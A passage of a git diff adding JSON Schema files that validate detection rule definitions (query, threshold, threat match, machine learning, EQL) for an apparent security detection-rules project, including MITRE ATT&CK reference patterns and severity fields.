"name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/$", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "machine_learning" + ], + "type": "string" + } + }, + "required": [ + "anomaly_threshold", + "author", + "description", + "machine_learning_job_id", + "name", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/8.1/8.1.query.json b/etc/api_schemas/8.1/8.1.query.json new file mode 100644 index 000000000..d0f43d89c --- /dev/null +++ b/etc/api_schemas/8.1/8.1.query.json @@ -0,0 +1,349 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "^\\d+[mshd]$", + "type": "string" + }, + "language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "description": "RuleName", + "pattern": "^[a-zA-Z0-9].+?[a-zA-Z0-9()]$", + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "^https://attack.mitre.org/tactics/TA[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/$", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "query" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/8.1/8.1.threat_match.json b/etc/api_schemas/8.1/8.1.threat_match.json new file mode 100644 index 000000000..f9ce1c1b1 --- /dev/null +++ b/etc/api_schemas/8.1/8.1.threat_match.json @@ -0,0 +1,440 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "concurrent_searches": { + "description": "PositiveInteger", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "^\\d+[mshd]$", + "type": "string" + }, + "items_per_search": { + "description": "PositiveInteger", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "description": "RuleName", + "pattern": "^[a-zA-Z0-9].+?[a-zA-Z0-9()]$", + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "^https://attack.mitre.org/tactics/TA[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/$", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "threat_filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "threat_index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat_indicator_path": { + "type": "string" + }, + "threat_language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "threat_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "entries": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "description": "NonEmptyStr", + "minLength": 1, + "type": "string" + }, + "type": { + "enum": [ + "mapping" + ], + "type": "string" + }, + "value": { + "description": "NonEmptyStr", + "minLength": 1, + "type": "string" + } + }, + "required": [ + "field", + "type", + "value" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "entries" + ], + "type": "object" + }, + "type": "array" + }, + "threat_query": { + "type": "string" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "threat_match" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "threat_index", + "threat_mapping", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/8.1/8.1.threshold.json b/etc/api_schemas/8.1/8.1.threshold.json new file mode 100644 index 000000000..28959a7bb --- /dev/null +++ b/etc/api_schemas/8.1/8.1.threshold.json @@ -0,0 +1,398 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "^\\d+[mshd]$", + "type": "string" + }, + "language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "description": "RuleName", + "pattern": "^[a-zA-Z0-9].+?[a-zA-Z0-9()]$", + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "^https://attack.mitre.org/tactics/TA[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/$", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "threshold": { + "additionalProperties": false, + "properties": { + "cardinality": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "value": { + "description": "ThresholdValue", + "format": "integer", + "minimum": 1, + "type": "number" + } + }, + "required": [ + "field", + "value" + ], + "type": "object" + }, + "type": "array" + }, + "field": { + "description": "CardinalityFields", + "items": { + "description": "NonEmptyStr", + "minLength": 1, + "type": "string" + }, + "maxItems": 3, + "type": "array" + }, + "value": { + "description": "ThresholdValue", + "format": "integer", + "minimum": 1, + "type": "number" + } + }, + "required": [ + "field", + "value" + ], + "type": "object" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "threshold" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "threshold", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/master/master.base.json b/etc/api_schemas/master/master.base.json new file mode 100644 index 000000000..b6c6afe45 --- /dev/null +++ b/etc/api_schemas/master/master.base.json @@ -0,0 +1,336 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "interval": { + "description": "Interval", + "pattern": "^\\d+[mshd]$", + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "description": "RuleName", + "pattern": "^[a-zA-Z0-9].+?[a-zA-Z0-9()]$", + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "^https://attack.mitre.org/tactics/TA[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/$", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "query", + "saved_query", + "machine_learning", + "eql", + "threshold", + "threat_match" + ], + "enumNames": [], + "type": "string" + } + }, + "required": [ + "author", + "description", + "name", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/master/master.eql.json b/etc/api_schemas/master/master.eql.json new file mode 100644 index 000000000..1c81c7f71 --- /dev/null +++ b/etc/api_schemas/master/master.eql.json @@ -0,0 +1,347 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "^\\d+[mshd]$", + "type": "string" + }, + "language": { + "enum": [ + "eql" + ], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "description": "RuleName", + "pattern": "^[a-zA-Z0-9].+?[a-zA-Z0-9()]$", + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "^https://attack.mitre.org/tactics/TA[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/$", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "eql" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/master/master.machine_learning.json b/etc/api_schemas/master/master.machine_learning.json new file mode 100644 index 000000000..4d4472edb --- /dev/null +++ b/etc/api_schemas/master/master.machine_learning.json @@ -0,0 +1,349 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "anomaly_threshold": { + "format": "integer", + "type": "number" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "interval": { + "description": "Interval", + "pattern": "^\\d+[mshd]$", + "type": "string" + }, + "license": { + "type": "string" + }, + "machine_learning_job_id": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "type": "array" + } + ] + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "description": "RuleName", + "pattern": "^[a-zA-Z0-9].+?[a-zA-Z0-9()]$", + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": 